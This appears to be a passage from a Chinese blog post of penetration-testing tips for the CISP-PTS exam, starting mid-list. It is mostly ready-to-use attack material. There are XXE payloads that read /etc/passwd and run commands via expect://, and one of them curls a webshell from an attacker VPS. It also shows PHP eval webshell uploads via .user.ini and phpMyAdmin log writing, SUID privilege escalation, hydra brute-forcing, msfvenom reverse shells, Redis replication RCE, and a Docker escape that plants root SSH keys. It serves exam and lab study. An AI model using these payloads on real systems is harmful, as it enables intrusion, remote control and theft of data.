CISP-PTS中的渗透小技巧分享

2024-07-04 15:11:03 浏览数 (2)

声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

  • 写公钥的两条config命令和一条set命令均需要把前面的命令的空格改成英文格式的冒号。
  • 除此之外,还需要加上dict协议的Redis请求地址,如:dict://localhost:6379/

1.3、XXE相关技巧 1.3.1、XXE载荷构技巧 使用seclists的XXE-Fuzzing.txt的第9行,做一个简单改造即可使用。对比如下: 改造前: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 改造后: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> XXE-Fuzzing.txt的路径:SecListsFuzzingXXE-Fuzzing.txt 有了上述载荷以后,再加上回显位置即可成功利用,完整载荷示例: <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "file:///etc/passwd" >]> <name> <email> &foo; </email> </name> 1.3.2、命令执行&&getshell 命令执行的原理是把文件读取用的file://协议换成了expect://协议。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://id" >]> <name> <email> &foo; </email> </name> getshell则是命令执行的变种,通过上传webshell来。 利用前提:知道目标服务器的脚本语言类型和webshell上传后的大致位置。如果是OSS上,直接寄。 1)使用python托管webshell python -m http.server 8088 2)下载webshell <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY foo SYSTEM "expect://curl$IFS'vps_addr:port/111.php'$IFS-o$IFS'222.php'" >]> <name> <email> &foo; </email> </name> 此处webshell下载解析: curl -O vps_addr:port/111.php curl vps_addr:port/111.php -o 222.php 空格用$IFS来替代,没啥好说的,常规思路。 下载url不能带协议 下载url用单引号包裹,如果是-o方式,保存文件的名称也用单引号包裹起来。 1.4、.user.ini文件上传 这个跟.htaccess差不多,.user.ini是php给用户的自定义配置文件,可将指定文件按照php脚本文件的形式解析。 介绍:https://blog.csdn.net/cosmoslin/article/details/120793126 利用过程: 1)上传.user.ini filename:.user.ini Content-type:image/jpeg 文件正文: GIF89a auto_prepend_file = aaa.jpg 2)上传webshell filename: aaa.jpg Content-type:image/jpeg 文件正文: GIF89a <?php @eval($_POST[22]);?> # 可替换为其他webshell 1.5、盲注分析 导出数据包: 文件——导出分组解析结果——为纯文本 通过notepad 解码: 提取所有注入数据包,此处使用notepad 中的标记功能,查找模式设置为正则表达式。 提取出来以后,找到临界值。当上面的查询语句从1,1到2,1,则上一条语句的=''的值就是SQLi获取到的数据。 找到所有数据后,用英文的逗号隔开,然后使用convert从dec转成text。 1.6、phpmyadmin后台写日志马 前提:知道web根目录。 set global general_log = 'on'; set global general_log_file = 'c:/phpstudy/111.php' select "<?php @eval($_POST[22]);?>" web根目录可通过phpinfo或phpstudy探针等信息获取web目录,phpstudy探针: 写入webshell的浏览器写入示例: 0x02 后渗透阶段 2.1、SUID提权 find / -perm -u=s -type f 2>/dev/null find /etc/passwd -exec ls /root ; find /etc/passwd -exec cat /root/key.cisp ; 2.2、proxychains爆破

  • 修改/etc/proxychains4.conf,将proxy_dns注释掉即可。
  • 设置爆破线程为1.
  • hydra通过proxychains代理爆破命令示例:

proxychains hydra ssh://192.168.1.1 -l root -p /usr/share/wordlists/metasploit/unix_password.txt -t 1 2.3、增加路由 run autoroute -s 192.168.30.0/24 增加192.168.30.0/24的路由 run autoroute -p 查看已添加的路由 2.4、设置socks代理 search socks use 0 set srvhost 127.0.0.1 exploit 2.5、msf上线机器 载荷生成 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.44 LPORT=4443 -f exe -o win7.exe 设置监听 msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost 192.168.0.44 msf6 exploit(multi/handler) > set lport 4443 msf6 exploit(multi/handler) > exploit linux,web_delivery上线 use exploit/multi/script/web_delivery(加载脚本模块) set payload linux/x64/meterpreter/reverse_tcp set LHOST 172.16.143.132 set target 7 exploit 2.6、redis主从复制rce search redis msf6 exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 192.168.100.139 msf6 exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 192.168.100.144 msf6 exploit(linux/redis/redis_replication_cmd_exec) > set lhost 192.168.100.144 msf6 exploit(linux/redis/redis_replication_cmd_exec) > exploit 2.7、docker逃逸-写公钥 查看设备情况 fdisk -l 创建目录并挂到对应设备 mkdir /test mount /dev/sda5 /test 写公钥 ssh-keygen -f tmp cat tmp.pub ls -al /test/root/ #没有.ssh,就创建.ssh echo 'ssh_key' > /test/root/.ssh/authorized_keys ssh -i tmp root@192.168.1.130

0 人点赞